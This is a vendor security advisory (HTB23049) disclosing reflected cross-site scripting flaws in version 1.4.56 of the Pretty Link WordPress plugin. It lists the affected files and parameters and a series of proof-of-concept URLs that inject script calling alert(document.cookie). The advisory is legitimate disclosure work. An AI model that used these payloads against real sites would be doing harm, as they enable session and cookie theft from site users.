Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Cross-site Scripting Vulnerabilities in Pretty Link WordPress Plugin

Advisory ID:HTB23049
Product:Pretty Link WordPress Plugin
Vendor:Caseproof
Vulnerable Versions:1.4.56 and probably prior
Tested Version:1.4.56
Advisory Publication:September 21, 2011 [without technical details]
Vendor Notification:September 21, 2011
Public Disclosure:October 12, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pretty Link WordPress Plugin which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Pretty Link WordPress Plugin
1.1 Input passed via the "min_date" GET parameter to /wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-clicks/head. php?min_date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.2 Input passed via the "message" GET parameter to /wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-dashboard-wi dget/widget.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.3 Input passed via the "prli_blogurl", "values" GET parameters to /wp-content/plugins/pretty-link/classes/views/prli-links/form.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.p hp?prli_blogurl=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.p hp?values[slug]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.p hp?values[name]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.p hp?values[description]=%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.p hp?values[redirect_type][307]=%22%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.p hp?values[redirect_type][301]=%22%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.4 Input passed via the "errors" GET parameter to /wp-content/plugins/pretty-link/classes/views/shared/errors.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/errors.php ?errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.
1.5 Input passed via the "page_first_record", "page_last_record", "record_count", "controller_file", "page_params" GET parameters to /wp-content/plugins/pretty-link/classes/views/shared/table-nav.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav. php?page_count=2&page_first_record=%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav. php?page_count=2&page_last_record=%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav. php?page_count=2&record_count=%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav. php?page_count=2&current_page=2&controller_file=%27%3E%3Cscript%3Ealert%28do cument.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav. php?page_count=2&current_page=2&page_params=%27%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
Successful exploitation of this vulnerability requires that "register_globals" is enabled.

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB23049 - https://www.immuniweb.com/advisory/HTB23049 - Cross-site Scripting Vulnerabilities in Pretty Link WordPress Plugin
[2] Pretty Link WordPress Plugin - blairwilliams.com - Pretty Link is a WordPress plugin that offers a number of affiliate tools and is available, in its free version, through the WordPress search.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential